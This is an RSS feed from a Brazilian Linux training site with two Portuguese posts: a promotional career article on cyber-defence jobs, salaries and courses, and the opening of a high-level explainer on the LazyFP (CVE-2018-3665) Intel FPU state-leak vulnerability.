<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segurança da Informação &#8211; Linux Force Security</title>
	<atom:link href="https://linuxforce.com.br/category/seguranca-da-informacao/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxforce.com.br</link>
	<description>Aprenda Linux do básico ao avançado com instrutores especialistas. Cursos ao vivo de Linux, Segurança da Informação, Devops e preparação para a certificação LPI.</description>
	<lastBuildDate>Thu, 18 Jun 2026 18:41:45 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://linuxforce.com.br/wp-content/uploads/2025/02/favicon-linux-force-security.png</url>
	<title>Segurança da Informação &#8211; Linux Force Security</title>
	<link>https://linuxforce.com.br</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Defesa Cibernética: por que essa é uma das profissões mais promissoras da próxima década</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/#respond</comments>
		
		<dc:creator><![CDATA[adm_linxfs]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 18:07:37 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://linuxforce.com.br/?p=5064</guid>

					<description><![CDATA[Defesa Cibernética: por que essa é uma das profissões mais promissoras da próxima década A transformação digital acelerou a forma como empresas operam, armazenam dados e se conectam com clientes. Mas, junto com essa evolução, cresceram também os riscos digitais — e, com eles, a importância da defesa cibernética. Ataques cibernéticos, vazamentos de dados, ransomwares [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"><strong>Defesa Cibernética: por que essa é uma das profissões mais promissoras da próxima década</strong></h1>



<p class="wp-block-paragraph">A transformação digital acelerou a forma como empresas operam, armazenam dados e se conectam com clientes. Mas, junto com essa evolução, cresceram também os riscos digitais — e, com eles, a importância da defesa cibernética.</p>



<p class="wp-block-paragraph">Ataques cibernéticos, vazamentos de dados, ransomwares e invasões corporativas se tornaram parte da realidade de empresas de todos os tamanhos — e o impacto financeiro dessas ameaças nunca foi tão alto.</p>



<p class="wp-block-paragraph">Segundo o relatório <em><a href="https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs" target="_blank" data-type="link" data-id="https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs" rel="noreferrer noopener nofollow">Cost of a Data Breach 2024</a></em>, da IBM, o custo médio global de um vazamento de dados chegou a US$ 4,88 milhões em 2024, registrando um aumento de 10% em relação ao ano anterior.</p>



<p class="wp-block-paragraph">E o Brasil é destaque entre os países com maior número de violações de dados. De acordo com o relatório <a href="https://surfshark.com/research/data-breach-monitoring?country=br" target="_blank" rel="noreferrer noopener nofollow">Global Data Breach Statistics</a>, realizado pela Surfshark, 84,6 milhões de contas de usuários foram violadas no país em 2024.</p>



<p class="wp-block-paragraph">Ao mesmo tempo, o mercado enfrenta uma escassez global de profissionais especializados em segurança digital. O estudo <a href="https://www.isc2.org/insights/2024/10/isc2-2024-cybersecurity-workforce-study" target="_blank" rel="noreferrer noopener nofollow"><em>2024 Cybersecurity Workforce Study</em></a>, da ISC2, aponta que o déficit mundial de profissionais em cibersegurança já ultrapassa 4,7 milhões de pessoas.</p>



<p class="wp-block-paragraph">Uma <a href="https://www.linkedin.com/news/story/98-das-empresas-enfrentam-falta-de-talento-tech-diz-estudo-8741914/" target="_blank" rel="noreferrer noopener nofollow">pesquisa da Ford em parceria com o Datafolha</a> revelou que só no Brasil, 98% das empresas enfrentam dificuldade para contratar profissionais de tecnologia.</p>



<p class="wp-block-paragraph">Ou seja, na prática, a demanda por especialistas em defesa cibernética cresce mais rápido do que a capacidade do mercado de formar profissionais qualificados.</p>



<p class="wp-block-paragraph">E é justamente por isso que a área vem sendo considerada uma das carreiras mais promissoras da próxima década.</p>



<h2 class="wp-block-heading"><strong>Mas afinal, o que é defesa cibernética?</strong></h2>



<p class="wp-block-paragraph">Defesa cibernética é o conjunto de estratégias, tecnologias e práticas utilizadas para proteger sistemas, redes, servidores, aplicações e dados contra ataques digitais.</p>



<p class="wp-block-paragraph">Com a evolução da tecnologia e o aumento da digitalização das empresas, essas ameaças se tornaram mais sofisticadas e proteger ambientes digitais passou a ser prioridade em muitos casos.</p>



<p class="wp-block-paragraph">Por isso, o foco da defesa cibernética é prevenir invasões, identificar vulnerabilidades e responder rapidamente a incidentes de segurança.</p>



<h3 class="wp-block-heading"><strong>Cibersegurança VS. defesa cibernética</strong></h3>



<p class="wp-block-paragraph">Embora muitas vezes sejam tratados como sinônimos, existe uma diferença importante entre cibersegurança e defesa cibernética.</p>



<p class="wp-block-paragraph">A cibersegurança é um conceito mais amplo, que envolve políticas, governança, proteção de dados e segurança digital de forma geral.</p>



<p class="wp-block-paragraph">Já a defesa cibernética possui um foco mais operacional e estratégico na proteção ativa de ambientes e infraestruturas digitais.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica.jpg" alt="comparativo entre cibersegurança e defesa cibernética" class="wp-image-5070" srcset="https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Ou seja: enquanto a cibersegurança define estratégias de proteção, a defesa cibernética atua diretamente na prevenção, monitoramento e resposta às ameaças.</p>



<h2 class="wp-block-heading"><strong>Por que a área de Defesa Cibernética está crescendo tanto?</strong></h2>



<p class="wp-block-paragraph">O crescimento da área não acontece por acaso.</p>



<p class="wp-block-paragraph">Ele é resultado de uma combinação de fatores tecnológicos, econômicos e comportamentais que transformaram a segurança digital em prioridade para empresas do mundo inteiro.</p>



<p class="wp-block-paragraph">Essas são algumas delas:</p>



<h3 class="wp-block-heading"><strong>Crescimento dos ataques digitais</strong></h3>



<p class="wp-block-paragraph">Os ataques cibernéticos evoluíram.</p>



<p class="wp-block-paragraph">Hoje, criminosos utilizam automações, inteligência artificial e técnicas cada vez mais sofisticadas para explorar vulnerabilidades em empresas, governos e usuários comuns.</p>



<p class="wp-block-paragraph">Entre os ataques mais frequentes estão:</p>



<ul class="wp-block-list">
<li><strong>Ransomwares:</strong> ataques que bloqueiam sistemas ou criptografam arquivos da empresa, exigindo pagamento para restaurar o acesso aos dados.</li>



<li><strong>Roubo de credenciais:</strong> quando criminosos conseguem acessar logins, senhas e informações de autenticação de usuários ou colaboradores para invadir sistemas internos.</li>



<li><strong>Sequestro de dados:</strong> ataques voltados para capturar informações sensíveis, como dados financeiros, documentos internos ou informações de clientes, muitas vezes usados para extorsão.</li>



<li><strong>Invasões em ambientes cloud:</strong> ataques direcionados a infraestruturas em nuvem, explorando configurações incorretas, permissões excessivas ou falhas de segurança em plataformas cloud.</li>



<li><strong>Ataques contra APIs e aplicações web:</strong> exploração de vulnerabilidades em sistemas, sites e integrações para acessar dados, comprometer aplicações ou interromper serviços digitais.</li>
</ul>



<p class="wp-block-paragraph">Além do prejuízo financeiro, incidentes de segurança também afetam reputação, operação e confiança de clientes.</p>



<p class="wp-block-paragraph">Por isso, empresas passaram a investir mais em prevenção, monitoramento e resposta a incidentes.</p>



<h3 class="wp-block-heading"><strong>Falta de profissionais qualificados</strong></h3>



<p class="wp-block-paragraph">Enquanto os ataques aumentam, o mercado enfrenta dificuldade para contratar especialistas preparados.</p>



<p class="wp-block-paragraph">Essa escassez aumenta a valorização de profissionais especializados e cria oportunidades para quem deseja entrar na área.</p>



<p class="wp-block-paragraph">Empresas de tecnologia, bancos, fintechs, indústrias, startups e organizações públicas disputam profissionais com conhecimentos em diferentes áreas da segurança e infraestrutura digital, como:</p>



<ul class="wp-block-list">
<li><strong>Linux:</strong> sistema operacional amplamente utilizado em servidores, cloud computing e ambientes corporativos. Profissionais com domínio de Linux costumam atuar na administração, proteção e monitoramento de infraestruturas críticas.</li>



<li><strong>Redes:</strong> conhecimento essencial para entender como sistemas, dispositivos e servidores se comunicam. Essa base ajuda profissionais a identificar falhas, monitorar tráfego suspeito e proteger ambientes corporativos.</li>



<li><strong>Cloud computing:</strong> área responsável por ambientes em nuvem, como AWS, Azure e Google Cloud. Com a migração de empresas para a cloud, cresce também a necessidade de proteger infraestruturas e dados armazenados nesses ambientes.</li>



<li><strong>Análise de vulnerabilidades:</strong> processo de identificar falhas de segurança em sistemas, aplicações e redes antes que elas sejam exploradas por criminosos.</li>



<li><strong>Segurança ofensiva:</strong> área que simula ataques reais para encontrar brechas de segurança. Profissionais dessa área realizam testes e avaliações para ajudar empresas a fortalecer suas defesas digitais.</li>



<li><strong>Resposta a incidentes:</strong> atuação focada em investigar, conter e minimizar impactos de ataques cibernéticos, vazamentos de dados e invasões em ambientes corporativos.</li>
</ul>



<h3 class="wp-block-heading"><strong>Transformação digital acelerada</strong></h3>



<p class="wp-block-paragraph">Nos últimos anos, empresas de todos os setores aceleraram sua digitalização. Sistemas migraram para a nuvem, equipes passaram a trabalhar remotamente e operações inteiras se tornaram cada vez mais conectadas.</p>



<p class="wp-block-paragraph">Na prática, isso trouxe mais agilidade, escalabilidade e eficiência para os negócios. Porém, quanto mais sistemas, dispositivos e aplicações conectados, maior é a chamada “superfície de ataque”.</p>



<p class="wp-block-paragraph">Dessa forma, maior também é a quantidade de pontos que podem ser explorados por criminosos virtuais. Hoje, muitas empresas operam utilizando tecnologias como:</p>



<ul class="wp-block-list">
<li>cloud computing</li>



<li>inteligência artificial</li>



<li>containers</li>



<li>Kubernetes</li>



<li>automações DevOps</li>



<li>ambientes multi-cloud</li>
</ul>



<p class="wp-block-paragraph">Essas ferramentas revolucionaram a forma como empresas desenvolvem, armazenam e distribuem dados e aplicações. No entanto, também criaram novos desafios de segurança.</p>



<p class="wp-block-paragraph">Um ambiente em nuvem mal configurado, por exemplo, pode expor dados sensíveis. APIs vulneráveis podem abrir portas para invasões. Automatizações sem monitoramento adequado podem gerar brechas difíceis de identificar.</p>



<p class="wp-block-paragraph">Além disso, o crescimento do trabalho remoto ampliou ainda mais os riscos, já que colaboradores passaram a acessar sistemas corporativos a partir de diferentes dispositivos, redes e locais.</p>



<p class="wp-block-paragraph">Por isso, a defesa cibernética deixou de ser apenas uma preocupação técnica do setor de TI. Proteger ambientes digitais se tornou uma necessidade estratégica para empresas que dependem da tecnologia para operar, crescer e manter a confiança de clientes e parceiros.</p>



<h2 class="wp-block-heading"><strong>O que faz um profissional de Defesa Cibernética?</strong></h2>



<p class="wp-block-paragraph">O profissional de defesa cibernética atua protegendo sistemas, redes, aplicações e dados contra ameaças digitais. Mas, na prática, a área vai muito além da ideia de “evitar hackers”.</p>



<p class="wp-block-paragraph">Esses profissionais trabalham para identificar riscos antes que eles se tornem problemas reais, monitorar ambientes digitais e responder rapidamente a possíveis ataques ou falhas de segurança.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1.jpg" alt="profissional de defesa cibernética monitorando sistemas" class="wp-image-5073" srcset="https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Em um cenário onde empresas dependem cada vez mais de cloud computing, sistemas conectados e operações digitais, a segurança deixou de ser apenas uma camada extra de proteção, ela passou a fazer parte da continuidade do negócio.</p>



<p class="wp-block-paragraph">Por isso, profissionais da área costumam atuar em diferentes frentes da segurança digital. Entre as principais atividades estão:</p>



<ul class="wp-block-list">
<li><strong>Monitoramento de ambientes e redes:</strong> acompanhamento contínuo de servidores, sistemas e tráfego de rede para identificar comportamentos suspeitos, acessos indevidos ou possíveis tentativas de ataque.</li>



<li><strong>Análise de vulnerabilidades:</strong> identificação de falhas de segurança em sistemas, aplicações ou infraestruturas antes que criminosos possam explorá-las.</li>



<li><strong>Investigação de incidentes:</strong> análise de eventos suspeitos para entender como um ataque aconteceu, quais sistemas foram afetados e como reduzir impactos.</li>



<li><strong>Análise de logs:</strong> interpretação de registros gerados por servidores, aplicações e dispositivos para rastrear atividades, detectar anomalias e investigar ameaças.</li>



<li><strong>Hardening de servidores:</strong> processo de reforçar a segurança de sistemas e servidores, reduzindo vulnerabilidades e removendo riscos desnecessários.</li>



<li><strong>Testes de segurança:</strong> simulações e análises práticas realizadas para encontrar brechas em aplicações, redes e ambientes corporativos.</li>



<li><strong>Controle de acessos:</strong> gerenciamento de permissões e autenticações para garantir que apenas usuários autorizados tenham acesso a sistemas e informações sensíveis.</li>



<li><strong>Implementação de políticas de segurança:</strong> criação de regras, processos e boas práticas para proteger ambientes corporativos e reduzir riscos operacionais.</li>



<li><strong>Resposta a ataques e invasões:</strong> atuação rápida para conter incidentes, minimizar danos e restaurar a segurança dos sistemas afetados.</li>
</ul>



<p class="wp-block-paragraph">Como os ambientes tecnológicos se tornaram cada vez mais integrados, esse profissional também costuma trabalhar em conjunto com diferentes equipes da área de tecnologia.</p>



<p class="wp-block-paragraph">Por isso, conhecimentos em infraestrutura, cloud computing, redes, Linux, DevOps, automação e compliance acabam se tornando diferenciais importantes para quem deseja crescer na área.</p>



<h3 class="wp-block-heading"><strong>Principais áreas de atuação em Defesa Cibernética</strong></h3>



<p class="wp-block-paragraph">A defesa cibernética é uma área ampla e multidisciplinar.</p>



<p class="wp-block-paragraph">Conforme o profissional evolui na carreira, é possível seguir diferentes caminhos de especialização, desde áreas mais defensivas e estratégicas até funções focadas em testes de invasão e segurança ofensiva.</p>



<p class="wp-block-paragraph">Essa variedade permite que cada profissional desenvolva habilidades específicas de acordo com seus interesses, perfil técnico e objetivos de carreira.</p>



<p class="wp-block-paragraph">Algumas das áreas mais conhecidas são:</p>



<ul class="wp-block-list">
<li><strong>Blue Team:</strong> profissionais focados em defesa, monitoramento e proteção de ambientes contra ataques.</li>



<li><strong>Red Team:</strong> especialistas que simulam ataques reais para identificar vulnerabilidades e testar a segurança das empresas.</li>



<li><strong>SOC Analyst:</strong> responsável pelo monitoramento contínuo de incidentes e alertas de segurança em centros de operações de segurança (SOC).</li>



<li><strong>Pentester:</strong> profissional que realiza testes de invasão controlados para encontrar falhas antes que elas sejam exploradas por criminosos.</li>



<li><strong>DevSecOps:</strong> área que integra segurança aos processos de desenvolvimento e automação de infraestrutura.</li>



<li><strong>Cloud Security:</strong> foco na proteção de ambientes em nuvem, cada vez mais utilizados por empresas modernas.</li>



<li><strong>Threat Intelligence:</strong> análise de ameaças, padrões de ataque e comportamento de grupos criminosos para antecipar riscos digitais.</li>
</ul>



<p class="wp-block-paragraph">Essa variedade de possibilidades faz com que a área de defesa cibernética seja uma das mais dinâmicas da tecnologia atualmente, permitindo que profissionais sigam caminhos mais técnicos, estratégicos, ofensivos ou voltados para gestão de segurança.</p>



<h3 class="wp-block-heading"><strong>Quanto ganha um profissional de Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">Os salários variam conforme experiência, certificações e nível técnico.</p>



<p class="wp-block-paragraph">Além disso, a área de atuação também influencia diretamente a remuneração do profissional.</p>



<p class="wp-block-paragraph">Embora os valores possam variar de acordo com região, porte da empresa e nível de especialização, algumas médias praticadas pelo mercado brasileiro ajudam a entender o potencial da carreira.</p>



<p class="wp-block-paragraph">Profissionais iniciantes já encontram oportunidades competitivas no mercado, especialmente quando possuem conhecimentos práticos em Linux, redes e segurança.</p>



<p class="wp-block-paragraph">Dependendo da senioridade da sua experiência, sua faixa salarial pode variar de R$ 3.500 a R$ 15.000.</p>



<p class="wp-block-paragraph">Já profissionais especializados em Cloud Security, DevSecOps, Pentest, resposta a incidentes e engenharia de segurança tendem a alcançar salários ainda mais elevados.</p>



<p class="wp-block-paragraph">Para esses especialistas, a faixa salarial pode começar com R$ 5.000 e ultrapassar R$ 20.000, especialmente em posições mais avançadas.</p>



<p class="wp-block-paragraph">Outro diferencial importante é que a área possui uma alta demanda contínua, oferecendo oportunidades internacionais, trabalho remoto e até atuação em empresas globais.</p>



<p class="wp-block-paragraph">Com a crescente digitalização das empresas, a tendência é que a valorização desses profissionais continue aumentando nos próximos anos.</p>



<h2 class="wp-block-heading"><strong>Como começar carreira em Defesa Cibernética?</strong></h2>



<p class="wp-block-paragraph">Entrar na área de defesa cibernética pode parecer desafiador no início, principalmente porque muitas pessoas associam segurança da informação a um universo extremamente técnico e distante da realidade de quem está começando.</p>



<p class="wp-block-paragraph">A carreira em defesa cibernética é construída em etapas, desenvolvendo fundamentos sólidos e ganhando experiência prática ao longo do caminho.</p>



<p class="wp-block-paragraph">E existe um ponto importante que diferencia profissionais que conseguem evoluir mais rápido no mercado: a combinação entre conhecimento técnico, prática real e direcionamento.</p>



<p class="wp-block-paragraph">As empresas não procuram apenas pessoas que conhecem conceitos teóricos. Elas precisam de profissionais capazes de entender ambientes reais, identificar vulnerabilidades, analisar riscos e atuar diante de problemas concretos.</p>



<p class="wp-block-paragraph">Antes de tudo é necessário dominar os fundamentos que sustentam toda a área de segurança:</p>



<ul class="wp-block-list">
<li><strong>Redes:</strong> entender como sistemas e dispositivos se comunicam é essencial para identificar vulnerabilidades, monitorar tráfego e analisar possíveis ameaças.</li>



<li><strong>Linux:</strong> dominar o sistema operacional é um diferencial importante para quem deseja atuar com segurança.</li>



<li><strong>Segurança ofensiva e defensiva:</strong> compreender tanto a lógica dos ataques quanto as estratégias de proteção ajuda o profissional a atuar de forma mais completa.</li>



<li><strong>Análise de vulnerabilidades:</strong> aprender a identificar falhas antes que elas sejam exploradas é uma das habilidades mais valorizadas pelo mercado.</li>



<li><strong>Ambientes reais de mercado:</strong> mais do que teoria, é importante desenvolver experiência prática em laboratórios, simulações e cenários próximos da realidade corporativa.</li>
</ul>



<h3 class="wp-block-heading"><strong>O primeiro passo: construir uma base sólida em Linux e infraestrutura</strong></h3>



<p class="wp-block-paragraph">Grande parte das infraestruturas modernas funcionam sobre ambientes Linux.</p>



<p class="wp-block-paragraph">Servidores, cloud computing, containers, automações DevOps e ferramentas de segurança frequentemente utilizam Linux como base operacional. Isso faz com que o sistema esteja presente em praticamente todas as áreas da segurança da informação.</p>



<p class="wp-block-paragraph">Na prática, entender Linux ajuda o profissional a:</p>



<ul class="wp-block-list">
<li>administrar servidores</li>



<li>analisar permissões e acessos</li>



<li>monitorar processos</li>



<li>identificar comportamentos suspeitos</li>



<li>automatizar tarefas</li>



<li>compreender ambientes corporativos reais</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1.jpg" alt="ambiente Linux e infraestrutura em segurança da informação" class="wp-image-5074" srcset="https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading"><strong>Segurança cibernética exige uma combinação de teoria e prática</strong></h3>



<p class="wp-block-paragraph">Com o aumento dos ataques digitais e da transformação tecnológica das empresas, cresce também a busca por profissionais que consigam atuar em cenários modernos de infraestrutura e segurança.</p>



<p class="wp-block-paragraph">Por isso, um dos erros mais comuns de quem está começando é consumir apenas conteúdo teórico sem aplicar os conhecimentos em ambientes práticos.</p>



<p class="wp-block-paragraph">Na segurança da informação, a prática faz diferença. Aprender a analisar vulnerabilidades, interpretar logs, proteger sistemas e identificar ameaças exige contato com laboratórios, simulações e situações próximas da realidade do mercado.</p>



<p class="wp-block-paragraph">É justamente por isso que cursos com abordagem prática e acompanhamento técnico costumam acelerar o desenvolvimento profissional.</p>



<p class="wp-block-paragraph">Aulas ao vivo, interação com especialistas e exercícios aplicados ajudam o aluno a entender não apenas “o que fazer”, mas principalmente como resolver problemas reais.</p>



<h3 class="wp-block-heading"><strong>Certificações também ajudam a fortalecer a carreira</strong></h3>



<p class="wp-block-paragraph">Além da experiência prática, certificações podem funcionar como um diferencial importante no mercado.</p>



<p class="wp-block-paragraph">Elas ajudam a validar conhecimentos técnicos e demonstram comprometimento com a evolução profissional.</p>



<p class="wp-block-paragraph">Dependendo da área de interesse, algumas certificações bastante valorizadas incluem:</p>



<ul class="wp-block-list">
<li>LPIC</li>



<li>Security+</li>



<li>CEH</li>



<li>certificações cloud</li>



<li>certificações DevOps</li>



<li>especializações em segurança ofensiva e defensiva</li>
</ul>



<p class="wp-block-paragraph">Mas vale um ponto importante: certificações costumam gerar mais resultado quando o profissional já possui uma base sólida e experiência prática.</p>



<p class="wp-block-paragraph">Por isso, a combinação entre formação técnica, prática em laboratório e preparação para certificações tende a ser o caminho mais eficiente para quem deseja crescer na área.</p>



<h2 class="wp-block-heading"><strong>Quer construir uma carreira em Defesa Cibernética? Comece pela base certa</strong></h2>



<p class="wp-block-paragraph">A crescente demanda por profissionais de defesa cibernética mostra que o mercado precisa, cada vez mais, de especialistas capazes de proteger sistemas, dados e infraestruturas críticas.</p>



<p class="wp-block-paragraph">Mas, apesar das inúmeras oportunidades, existe um ponto em comum entre os profissionais que conseguem crescer na área: todos construíram uma base técnica sólida antes de avançar para especializações mais complexas.</p>



<p class="wp-block-paragraph">Conhecimentos em Linux, infraestrutura, redes, cloud computing e automação continuam sendo alguns dos pilares mais importantes para quem deseja atuar com segurança da informação.</p>



<p class="wp-block-paragraph">Por isso, antes de pensar em ferramentas específicas ou certificações avançadas, é fundamental desenvolver uma compreensão prática sobre como os ambientes corporativos funcionam na realidade.</p>



<h3 class="wp-block-heading"><strong>Formação Linux Force ajuda profissionais a compreender ambientes Linux</strong></h3>



<p class="wp-block-paragraph">Na Linux Force, essa formação acontece por meio de uma metodologia focada em prática, acompanhamento técnico e aplicação real dos conhecimentos.</p>



<p class="wp-block-paragraph">Os treinamentos abordam desde os fundamentos de Linux e infraestrutura até temas mais avançados relacionados a cloud, DevOps e segurança da informação, preparando profissionais para desafios que fazem parte do mercado atual.</p>



<p class="wp-block-paragraph">Com aulas online e 100% ao vivo, nossa formação proporciona conhecimentos em infraestrutura e os fundamentos necessários para evoluir para áreas como Defesa Cibernética, Cloud Security, DevSecOps e Segurança da Informação.</p>



<p class="wp-block-paragraph">Além do conteúdo técnico, os alunos têm contato com laboratórios práticos, acompanhamento de especialistas e uma metodologia voltada para situações reais encontradas no mercado de tecnologia.</p>



<p class="wp-block-paragraph">Para quem busca uma carreira em defesa cibernética, investir na formação certa pode ser o primeiro passo para aproveitar um dos mercados mais promissores da tecnologia.</p>



<h2 class="wp-block-heading"><strong>FAQ</strong></h2>



<h3 class="wp-block-heading"><strong>Precisa saber programação para trabalhar com Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">Não necessariamente. Muitas funções de entrada exigem mais conhecimentos em Linux, redes, sistemas operacionais e infraestrutura do que programação. Com o tempo, aprender linguagens de script pode se tornar um diferencial.</p>



<h3 class="wp-block-heading"><strong>Dá para começar na área do zero?</strong></h3>



<p class="wp-block-paragraph">Sim. Muitos profissionais iniciam a carreira sem experiência prévia em segurança da informação. O mais importante é construir uma base sólida em Linux, redes e infraestrutura.</p>



<h3 class="wp-block-heading"><strong>Linux é obrigatório para trabalhar com Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">Embora não seja obrigatório em todas as funções, Linux é uma das habilidades mais valorizadas pelo mercado. Grande parte dos servidores, ambientes cloud e ferramentas de segurança utiliza esse sistema operacional.</p>



<h3 class="wp-block-heading"><strong>Quanto tempo leva para aprender Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">O aprendizado é contínuo, mas muitas pessoas conseguem desenvolver uma base sólida em alguns meses de estudo estruturado e prática constante.</p>



<h3 class="wp-block-heading"><strong>Vale a pena estudar Defesa Cibernética em 2026?</strong></h3>



<p class="wp-block-paragraph">Sim. O crescimento dos ataques digitais, a transformação tecnológica das empresas e a escassez de profissionais qualificados fazem da defesa cibernética uma das áreas mais promissoras da tecnologia atualmente.</p>




<div style="background:#eef4fb;border-left:5px solid #1a4f8b;border-radius:8px;padding:28px 32px;margin:32px 0;font-family:inherit;">
  <h3 style="margin:0 0 12px;font-size:22px;font-weight:700;color:#15314f;">&#x1f680; Quer se tornar um especialista em Defesa Cibernética?</h3>
  <p style="margin:0 0 20px;font-size:16px;line-height:1.6;color:#33475b;">Não perca tempo tentando aprender tudo sozinho. Descubra o caminho mais rápido com a formação Linux Force Security — online e 100% ao vivo.</p>
  <a href="https://linuxforce.com.br/cursos-de-seguranca-da-informacao/curso-de-defesa-cibernetica/" style="display:inline-block;background:#28a745;color:#ffffff;font-size:15px;font-weight:700;text-decoration:none;padding:14px 28px;border-radius:6px;letter-spacing:.3px;">VER A FORMAÇÃO →</a>
</div>

]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Lazy FPU &#8211; A nova vulnerabilidade da Intel</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/lazy-fpu-a-nova-vulnerabilidade-da-intel/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/lazy-fpu-a-nova-vulnerabilidade-da-intel/#respond</comments>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:28 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1568</guid>

					<description><![CDATA[Após o Meltdown e o Specter, que foram divulgados publicamente em janeiro, em seguida as vulnerabilidades do Spectre V3a e V4 ocorreram em maio, e esta última pode ser parte das 8 novas vulnerabilidades no total que serão divulgadas no decorrer do ano. No início deste ano, Julian Stecklina (Amazon) e Thomas Prescher (Cyberus Technology) [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><span class="notranslate">Após o Meltdown e o Specter, que foram divulgados publicamente em janeiro, em seguida as vulnerabilidades do Spectre V3a e V4 ocorreram em maio</span><span class="notranslate">, e esta última pode ser parte das 8 novas vulnerabilidades no total que serão divulgadas no decorrer do ano.</span></p>
<p><span class="notranslate">No início deste ano, Julian Stecklina (Amazon) e Thomas Prescher (Cyberus Technology) descobriram em conjunto e divulgaram com responsabilidade outra vulnerabilidade  e chamaram de <strong>LazyFP</strong> .</span> <span class="notranslate">O LazyFP (CVE-2018-3665) é um ataque direcionado a sistemas operacionais que usam comutação lenta de FPU.</span> <span class="notranslate">Este artigo descreve o que esse ataque significa, descreve como ele pode ser atenuado e como ele realmente funciona.</span></p>
<h2 id="summary-and-implications"><span class="notranslate">Resumo e Implicações</span></h2>
<p><span class="notranslate">A divulgação pública desta vulnerabilidade foi inicialmente adiada por um embargo típico de informações de divulgação responsável até agosto, mas os primeiros rumores levaram a que essa data fosse descartada.</span></p>
<p><span class="notranslate">O estado do registro da unidade de ponto flutuante (FPU), que consiste nos conjuntos de registros AVX, MMX e SSE, pode ser vazado nos limites do domínio de proteção.</span> <span class="notranslate">Isso inclui vazamentos nos limites de processos e máquinas virtuais.</span></p>
<p><span class="notranslate">O estado da FPU pode conter informações confidenciais, como chaves criptográficas.</span> <span class="notranslate">Como exemplo, o <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/AES_instruction_set&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhg9fTjb0qLRdh-4eHika-uqx-PFNw" rel="nofollow noopener">conjunto de instruções Intel AES (AES-NI)</a> usa registradores FPU para armazenar chaves redondas.</span> <span class="notranslate">Só é possível explorar quando o sistema operacional ou hypervisor subjacente usa a comutação de FPU lenta.</span></p>
